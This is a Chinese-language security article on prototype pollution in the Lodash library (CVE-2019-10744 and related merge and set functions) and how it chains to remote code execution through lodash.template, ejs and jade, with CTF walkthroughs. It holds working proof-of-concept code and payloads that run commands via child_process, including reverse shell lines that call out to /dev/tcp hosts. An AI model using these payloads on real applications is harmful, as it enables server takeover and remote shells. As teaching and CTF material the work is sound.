<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    從 Lodash 原型鏈污染到模板 RCE

    VSole2021-08-26 17:02:02

    Lodash模塊原型鏈污染

    Lodash 是一個 JavaScript 庫,包含簡化字符串、數字、數組、函數和對象編程的工具,可以幫助程序員更有效地編寫和維護 JavaScript 代碼。并且是一個流行的 npm 庫,僅在GitHub 上就有超過 400 萬個項目使用,Lodash的普及率非常高,每月的下載量超過 8000 萬次。但是這個庫中有幾個嚴重的原型污染漏洞。

    lodash.defaultsDeep 方法造成的原型鏈污染(CVE-2019-10744)

    2019 年 7 月 2 日,Snyk 發布了一個高嚴重性原型污染安全漏洞(CVE-2019-10744),影響了小于 4.17.12 的所有版本的 lodash。

    Lodash 庫中的 defaultsDeep 函數可能會被包含 constructor 的 Payload 誘騙添加或修改Object.prototype 。最終可能導致 Web 應用程序崩潰或改變其行為,具體取決于受影響的用例。以下是 Snyk 給出的此漏洞驗證 POC:

    const mergeFn = require('lodash').defaultsDeep;const payload = '{"constructor": {"prototype": {"whoami": "Vulnerable"}}}'
    function check() {    mergeFn({}, JSON.parse(payload));    if (({})[`a0`] === true) {        console.log(`Vulnerable to Prototype Pollution via ${payload}`);    }  }
    check();
    

    我們在 mergeFn({}, JSON.parse(payload)); 處下斷點,單步結束后可以看到:

    成功在 __proto__ 屬性中添加了一個 whoami 屬性,值為 Vulnerable,污染成功。

    該漏洞披露之后,Lodash 于 7 月 9 日發布了 4.17.12 版本,其中包括 Snyk 修復和修復漏洞。我們可以參考一下 Snyk 的工程師 Kirill 發布到 GitHub 上的 lodash JavaScript 庫存儲庫 https://github.com/lodash/lodash/pull/4336/files 的實際安全修復:

    該修復包括以下兩項安全檢查:

    過濾了 constructor 以確保我們不會污染全局對象constructor
    還添加了一個測試用例以確保將來不會發生回歸

    lodash.merge 方法造成的原型鏈污染

    Lodash.merge 作為 lodash 中的對象合并插件,他可以遞歸合并 sources 來源對象自身和繼承的可枚舉屬性到 object 目標對象,以創建父映射對象:

    merge(object, sources)
    

    當兩個鍵相同時,生成的對象將具有最右邊的鍵的值。如果多個對象相同,則新生成的對象將只有一個與這些對象相對應的鍵和值。但是這里的 lodash.merge 操作實際上存在原型鏈污染漏洞,下面對其進行簡單的分析,這里使用 4.17.4 版本的 Lodash。

    node_modules/lodash/merge.js

    merge.js 調用了 baseMerge 方法,則定位到 baseMerge

    node_modules/lodash/_baseMerge.js

    如果 srcValue 是一個對象則進入 baseMergeDeep 方法,跟進 baseMergeDeep 方法:

    node_modules/lodash/_baseMergeDeep.js

    跟進 assignMergeValue 方法:

    node_modules/lodash/_assignMergeValue.js:

    跟進 baseAssignValue 方法:

    node_modules/lodash/_baseAssignValue.js

    這里的 if 判斷可以繞過,最終進入 object[key] = value 的賦值操作。

    下面給出一個驗證漏洞的 POC:

    var lodash= require('lodash');var payload = '{"__proto__":{"whoami":"Vulnerable"}}';
    var a = {};console.log("Before whoami: " + a.whoami);lodash.merge({}, JSON.parse(payload));console.log("After whoami: " + a.whoami);
    

    我們在 lodash.merge({}, JSON.parse(payload)); 處下斷點,單步結束后可以看到:

    成功在類型為 Object 的 a 對象的 __proto__ 屬性中添加了一個 whoami 屬性,值為 Vulnerable,污染成功。

    在 lodash.merge 方法造成的原型鏈污染中,為了實現代碼執行,我們常常會污染 sourceURL 屬性,即給所有 Object 對象中都插入一個 sourceURL 屬性,然后通過 lodash.template 方法中的拼接實現任意代碼執行漏洞。后文中我們會通過 [Code-Breaking 2018] Thejs 這道題來仔細講解。

    lodash.mergeWith 方法造成的原型鏈污染

    這個方法類似于 merge 方法。但是它還會接受一個 customizer,以決定如何進行合并。如果 customizer 返回 undefined 將會由合并處理方法代替。

    mergeWith(object, sources, [customizer])
    

    該方法與 merge 方法一樣存在原型鏈污染漏洞,下面給出一個驗證漏洞的 POC:

    var lodash= require('lodash');var payload = '{"__proto__":{"whoami":"Vulnerable"}}';
    var a = {};console.log("Before whoami: " + a.whoami);lodash.mergeWith({}, JSON.parse(payload));console.log("After whoami: " + a.whoami);
    

    我們在 lodash.mergeWith({}, JSON.parse(payload)); 處下斷點,單步結束后可以看到:

    成功在類型為 Object 的 a 對象的 __proto__ 屬性中添加了一個 whoami 屬性,值為 Vulnerable,污染成功。

    lodash.set 方法造成的原型鏈污染

    Lodash.set 方法可以用來設置值到對象對應的屬性路徑上,如果沒有則創建這部分路徑。缺少的索引屬性會創建為數組,而缺少的屬性會創建為對象。

    set(object, path, value)
    

    示例:

    var object = { 'a': [{ 'b': { 'c': 3 } }] };
    _.set(object, 'a[0].b.c', 4);console.log(object.a[0].b.c);// => 4
    _.set(object, 'x[0].y.z', 5);console.log(object.x[0].y.z);// => 5
    

    在使用 Lodash.set 方法時,如果沒有對傳入的參數進行過濾,則可能會造成原型鏈污染。下面給出一個驗證漏洞的 POC:

    var lodash= require('lodash');
    var object_1 = { 'a': [{ 'b': { 'c': 3 } }] };var object_2 = {}
    console.log(object_1.whoami);//lodash.set(object_2, 'object_2["__proto__"]["whoami"]', 'Vulnerable');lodash.set(object_2, '__proto__.["whoami"]', 'Vulnerable');console.log(object_1.whoami);
    

    我們在 lodash.set(object_2, '__proto__.["whoami"]', 'Vulnerable'); 處下斷點,單步結束后可以看到:

    在類型為 Array 的 object1 對象的 `_proto屬性中出現了一個whoami屬性,值為Vulnerable`,污染成功。

    lodash.setWith 方法造成的原型鏈污染

    Lodash.setWith 方法類似 set 方法。但是它還會接受一個 customizer,用來調用并決定如何設置對象路徑的值。如果 customizer 返回 undefined 將會有它的處理方法代替。

    setWith(object, path, value, [customizer])
    

    該方法與 set 方法一樣可以進行原型鏈污染,下面給出一個驗證漏洞的 POC:

    var lodash= require('lodash');
    var object_1 = { 'a': [{ 'b': { 'c': 3 } }] };var object_2 = {}
    console.log(object_1.whoami);//lodash.setWith(object_2, 'object_2["__proto__"]["whoami"]', 'Vulnerable');lodash.setWith(object_2, '__proto__.["whoami"]', 'Vulnerable');console.log(object_1.whoami);
    

    我們在 lodash.setWith(object_2, '__proto__.["whoami"]', 'Vulnerable'); 處下斷點,單步結束后可以看到:

    在類型為 Array 的 object1 對象的 `_proto屬性中出現了一個whoami屬性,值為Vulnerable`,污染成功。

    至此,我們已經對 lodash 模塊中的幾個原型鏈污染做了驗證,可以成功污染原型中的屬性。但如果要進行代碼執行,則還需要配合 eval() 方法的執行或模板引擎的渲染。

     

    配合lodash.template實現RCE

    Lodash.template 是 Lodash 中的一個簡單的模板引擎,創建一個預編譯模板方法,可以插入數據到模板中 “interpolate” 分隔符相應的位置。詳情請看:http://lodash.think2011.net/template

    在 Lodash 的原型鏈污染中,為了實現代碼執行,我們常常會污染 template 中的 sourceURL 屬性,即給所有 Object 對象中都插入一個 sourceURL 屬性,然后通過 lodash.template 方法中的拼接實現任意代碼執行漏洞。下面我們通過 [Code-Breaking 2018] Thejs 這道題來仔細講解。

    [Code-Breaking 2018]Thejs

    進入題目,主頁如下:

    關鍵源碼如下:

    • server.js

    const fs = require('fs')const express = require('express')const bodyParser = require('body-parser')const lodash = require('lodash')const session = require('express-session')const randomize = require('randomatic')
    const app = express()app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())    // 使用 json 解析 bodyapp.use('/static', express.static('static'))app.use(session({    // 啟用 session    name: 'thejs.session',    secret: randomize('aA0', 16),    resave: false,    saveUninitialized: false}))app.engine('ejs', function (filePath, options, callback) {    // 設置使用 ejs 模板引擎     fs.readFile(filePath, (err, content) => {        if (err) return callback(new Error(err))        let compiled = lodash.template(content)    // 使用 lodash.template 創建一個預編譯模板方法供后面使用        let rendered = compiled({...options})
            return callback(null, rendered)    })})app.set('views', './views')app.set('view engine', 'ejs')
    app.all('/', (req, res) => {    let data = req.session.data || {language: [], category: []}    if (req.method == 'POST') {        data = lodash.merge(data, req.body)    // 將用戶提交的數據合并到 req.session.data 中去        req.session.data = data    }
        res.render('index', {        language: data.language,         category: data.category    })})
    app.listen(3000, () => console.log(`Example app listening on port 3000!`))
    

    代碼很簡單,就是將用戶提交的信息,用 lodash.merge 方法合并到 session 里面去,多次提交, session 里最終保存你提交的所有信息。這里的 lodash.merge 操作存在原型鏈污染漏洞無需多言,下面給出解題的 payload;


    {"__proto__":{"sourceURL":"\u000areturn e =>{return global.process.mainModule.constructor._load('child_process').execSync('id')}"}}
    

    為什么要污染 sourceURL 呢?我們看到 lodash.template 的代碼:https://github.com/lodash/lodash/blob/4.17.4-npm/template.js#L165

    // Use a sourceURL for easier debugging.var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '' : '';// ...var result = attempt(function() {  return Function(importsKeys, sourceURL + 'return ' + source)  .apply(undefined, importsValues);});
    

    可以看到 sourceURL 屬性是通過一個三目運算法賦值,其默認值為空。再往下看可以發現 sourceURL 被拼接進 Function 函數構造器的第二個參數,造成任意代碼執行漏洞。所以我們通過原型鏈污染 sourceURL 參數構造 chile_process.exec 就可以執行任意代碼了。但是要注意,Function 環境下沒有 require 函數,直接使用require('child_process') 會報錯,所以我們要用 global.process.mainModule.constructor._load 來代替。

    我們將 payload 以 Json 的形式發送給后端,因為 express 框架支持根據 Content-Type 來解析請求 Body,為我們注入原型提供了很大方便:

    如上圖所示,成功執行 id 命令。

     

    配合ejs模板引擎實現RCE

    Nodejs 的 ejs 模板引擎存在一個利用原型污染進行 RCE 的一個漏洞。但要實現 RCE,首先需要有原型鏈污染,這里我們暫且使用 lodash.merge 方法中的原型鏈污染漏洞。

    • app.js
    var express = require('express');var lodash = require('lodash');var ejs = require('ejs');
    var app = express();//設置模板的位置與種類app.set('views', __dirname);app.set('views engine','ejs');
    //對原型進行污染var malicious_payload = '{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec(\'calc\');var __tmp2"}}';lodash.merge({}, JSON.parse(malicious_payload));
    //進行渲染app.get('/', function (req, res) {    res.render ("index.ejs",{        message: 'whoami test'    });});
    //設置httpvar server = app.listen(8000, function () {
        var host = server.address().address    var port = server.address().port
        console.log("應用實例,訪問地址為 http://%s:%s", host, port)});
    
    • index.ejs
            
    <%= message%>
    
    

    運行 app.js 后訪問 8000 端口,成功彈出計算器:

    下面我們開始分析。

    剛開始的 lodash.merge 原型鏈污染沒有什么可說的,在 lodash.merge({}, JSON.parse(malicious_payload)); 處下斷點,單步結束后可以看到:

    成功在 __proto__ 中出污染了一個 outputFunctionName 屬性,值為 _tmp1;global.process.mainModule.require(\'child_process\').exec(\'calc\');var __tmp2。

    但為什么要污染一個 outputFunctionName 屬性呢?我們繼續往下看。我們從 index.js::res.render 處開始,跟進 render 方法:

    node_modules/express/lib/response.js

    跟進到 app.render 方法:

    node_modules/express/lib/application.js

    發現最終會進入到 app.render 方法里的 tryRender 函數,跟進到 tryRender:

    node_modules/express/lib/application.js

    調用了 view.render 方法,繼續跟進 view.render :

    node_modules/express/lib/view.js

    至此調用了 engine,也就是說從這里進入到了模板渲染引擎 ejs.js 中。跟進 ejs.js 中的 renderFile 方法:

    node_modules/ejs/ejs.js

    發現 renderFile 中又調用了 tryHandleCache 方法,跟進 tryHandleCache:

    node_modules/ejs/ejs.js

    進入到 handleCache 方法,跟進 handleCache:

    node_modules/ejs/ejs.js

    在 handleCache 中找到了渲染模板的 compile 方法,跟進 compile:

    發現在 compile 中存在大量的渲染拼接。這里將 opts.outputFunctionName 拼接到 prepended 中,prepended 在最后會被傳遞給 this.source 并被帶入函數執行。所以如果我們能夠污染 opts.outputFunctionName,就能將我們構造的 payload 拼接進 js 語句中,并在 ejs 渲染時進行 RCE。在 ejs 中還有一個 render 方法,其最終也是進入了 compile。最后給出幾個 ejs 模板引擎 RCE 常用的 POC:


    {"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').execSync('calc');var __tmp2"}}
    {"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec('calc');var __tmp2"}}
    {"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/6666 0>&1\"');var __tmp2"}}
    
    • [XNUCA 2019 Qualifier]Hardjs

    進入題目是一個登錄頁面:

    關鍵源碼如下:

    • server.js
    const fs = require('fs')const express = require('express')const bodyParser = require('body-parser')const lodash = require('lodash')const session = require('express-session')const randomize = require('randomatic')const mysql = require('mysql')const mysqlConfig = require("./config/mysql")const ejs = require('ejs')
    ...
    app.get("/get",auth,async function(req,res,next){
        var userid = req.session.userid ;     var sql = "select count(*) count from `html` where userid= ?"    // var sql = "select `dom` from  `html` where userid=? ";    var dataList = await query(sql,[userid]);
        if(dataList[0].count == 0 ){        res.json({})
        }else if(dataList[0].count > 5) { // if len > 5 , merge all and update mysql
            console.log("Merge the recorder in the database."); 
            var sql = "select `id`,`dom` from  `html` where userid=? ";        var raws = await query(sql,[userid]);        var doms = {}        var ret = new Array(); 
            for(var i=0;i            lodash.defaultsDeep(doms,JSON.parse( raws[i].dom ));    // 漏洞點
                var sql = "delete from `html` where id = ?";            var result = await query(sql,raws[i].id);        }        var sql = "insert into `html` (`userid`,`dom`) values (?,?) ";        var result = await query(sql,[userid, JSON.stringify(doms) ]);
            if(result.affectedRows > 0){            ret.push(doms);            res.json(ret);        }else{            res.json([{}]);        }
        }else {
            console.log("Return recorder is less than 5,so return it without merge.");        var sql = "select `dom` from  `html` where userid=? ";        var raws = await query(sql,[userid]);        var ret = new Array();
            for( var i =0 ;i< raws.length ; i++){            ret.push(JSON.parse( raws[i].dom ));        }
            console.log(ret);        res.json(ret);    }
    });
    ...
    

    查看 /get 路由的邏輯,可以看到當條數大于五條時會觸 merge 發合并操作,并且使用的是 lodash.defaultsDeep,這個方法存在原型鏈污染,在前文已經分析過不在多說。發現題目還使用了 ejs 模板引擎,我們可以通過 ejs 模板引擎進行 RCE。下面給出 payload:


    {"type": "test", "content": {"constructor": {"prototype": {"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1\"');var __tmp2"}}}}
    

    向 /add 路由發送 6 次請求:

    然后訪問 /get 路由進行原型鏈污染,最后訪問 / 或 /login 路由觸發 render 函數進行 ejs 模板 RCE,成功反彈 Shell:

     

    配合jade模板引擎實現RCE

    Nodejs 的 jade 模板引擎存在一個利用原型污染進行 RCE 的一個漏洞。但要實現 RCE,首先需要有原型鏈污染,這里我們暫且使用 lodash.merge 方法中的原型鏈污染漏洞。

    • app.js
    var express = require('express');var lodash= require('lodash');var jade = require('jade');
    var app = express();//設置模板的位置與種類app.set('views', __dirname);app.set("view engine", "jade");
    //對原型進行污染var malicious_payload = '{"__proto__":{"compileDebug":1,"self":1,"line":"console.log(global.process.mainModule.require(\'child_process\').execSync(\'calc\'))"}}';lodash.merge({}, JSON.parse(malicious_payload));
    //進行渲染app.get('/', function (req, res) {    res.render ("index.jade",{        message: 'whoami test'    });});
    //設置httpvar server = app.listen(8000, function () {
        var host = server.address().address    var port = server.address().port
        console.log("應用實例,訪問地址為 http://%s:%s", host, port)});
    
    • index.jade
    h1 #{message}p #{message}
    

    運行 app.js 后訪問 8000 端口,成功彈出計算器:

    下面我們開始分析。

    Jade 模板引擎 RCE 的挖掘思路和 ejs 模板的思路很像,當開始都是:res.render => app.render => tryRender => view.render => this.engine,然后從 engine 開始進入 jade 模板,jade 入口是 exports.__express:

    首先可以看到 options.compileDebug 無初始值,所以我們可以通過原型污染覆蓋開啟 Debug 模式,即:

    {"__proto__":{"compileDebug":1}}
    

    然后會進入 renderFile 方法,跟進之:

    node_modules/jade/lib/index.js

    返回的時候進入了 handleTemplateCache 方法,跟進 handleTemplateCache:

    node_modules/jade/lib/index.js

    進入 complie 方法,跟進 complie:

    node_modules/jade/lib/index.js

    Jade 模板和 ejs 不同,在 compile 編譯之前會有 parse 解析,跟進 parse:

    node_modules/jade/lib/index.js

    在 parse 中先經過 parser.parse 解析,然后由 compiler.compile 進行編譯,最后返回編譯后代碼:

    但是在 body 中存在發現報錯處理入口 addWith,只要不進入這個條件分支就可以避免報錯了,也就需要我們通過原型污染將 self 覆蓋為 true:

    {"__proto__":{"compileDebug":1,"self":1}}
    

    然后我們回過頭來跟進 compiler.compile,看看其作用:

    node_modules/jade/lib/compiler.js

    首先,編譯后代碼會存放在 this.buf 中,然后通過 this.visit(this.node) 遍歷分析 parse 產生的 AST 樹 this.node,跟進 visit:

    node_modules/jade/lib/compiler.js

    可以看到,如果 debug 為真,則 node.line 就會被 push 進去,并造成拼接,然后就可以返回 buf 部分進行命令執行。所以最終的 Payload 如下:


    {"__proto__":{"compileDebug":1,"self":1,"line":"console.log(global.process.mainModule.require('child_process').execSync('calc'))"}}
    

    Ending……

    - End -
    精彩推薦
    【技術分享】CTF 中如何欺騙 AI
    【技術分享】gomarkdown/markdown 項目的 XSS 漏洞產生與分析
    【技術分享】祥云杯 By 天璇Merak
    【技術分享】K8S Runtime入侵檢測之Falco
    
    


    戳“閱讀原文”查看更多內容
    
    jadelodash
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    Lodash 是一個 JavaScript 庫,包含簡化字符串、數字、數組、函數和對象編程的工具,可以幫助程序員更有效地編寫和維護 JavaScript 代碼。并且是一個流行的 npm 庫,僅在GitHub 上就有超過 400 萬個項目使用,Lodash的普及率非常高,每月的下載量超過 8000 萬次。但是這個庫中有幾個嚴重的原型污染漏洞。
    之前在hackthebox的一次ctf比賽中有一道題考察了原型鏈污染攻擊pug,在做題的時候用AST Injection這種方式又發現了一個未公開的pug&&jade的原型攻擊鏈,和大家分享一下。
    消息群里我們幾個人幾乎同時響應正在處理。這是程序員群體中常見的提高工作效率的方式之一。只能打車回單位改bug。對于公司而言,遠程連入電腦可以讓問題得到更高效更及時的處理;對于程序員本人而言,無論身在何處,只要手邊有一臺可以聯網的電腦,便可以不必在接到電話之后不顧一切地趕往公司進行處理,尤其是寒冬的深夜。所以,這是雙贏的。
    vmp 相關的問題
    2021-11-19 16:58:50
    為新版本的符合一個叫做寄存器輪轉的問題所以他可能jmp ebp,jmp edi等等的。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类